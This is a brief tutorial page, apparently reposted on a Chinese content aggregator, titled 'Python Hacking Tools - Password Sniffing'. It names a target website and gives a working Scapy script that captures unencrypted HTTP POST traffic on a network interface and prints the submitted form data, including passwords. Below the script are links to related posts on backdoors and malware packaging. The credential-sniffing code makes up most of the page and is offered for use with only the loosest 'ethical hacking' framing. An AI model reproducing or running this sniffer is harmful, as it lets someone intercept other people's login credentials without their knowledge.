Python Hacking Tools - Password Sniffing
Posted 一蓑烟雨
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python Hacking Tools - Password Sniffing相关的知识,希望对你有一定的参考价值。
Password Sniffing with Scapy
1. Download and install the Scapy first.
pip install scapy
2. Target Website
https://aavtrain.com/index.asp
3. Write the Python code
from scapy.all import * def sniffer(packet): http_packet = packet if \'POST\' in str(http_packet): domain = str(http_packet).split("\\r\\n")[1].split(":")[1] data = str(http_packet).split("\\r\\n\\r\\n")[1] print "*" * 20 print "Domain: " + domain print "Data: " + data print "*" * 20 print "\\n\\n" sniff(iface="eth0", prn=sniffer, filter="tcp port 80")
4. Execute the Python code and visit the target website through Firefox.
以上是关于Python Hacking Tools - Password Sniffing的主要内容,如果未能解决你的问题,请参考以下文章
Top 10 Free Wireless Network hacking/monitoring tools for ethical hackers and businesses
Python Ethical Hacking - BACKDOORS
Python Ethical Hacking - BACKDOORS
Python Ethical Hacking - Malware Packaging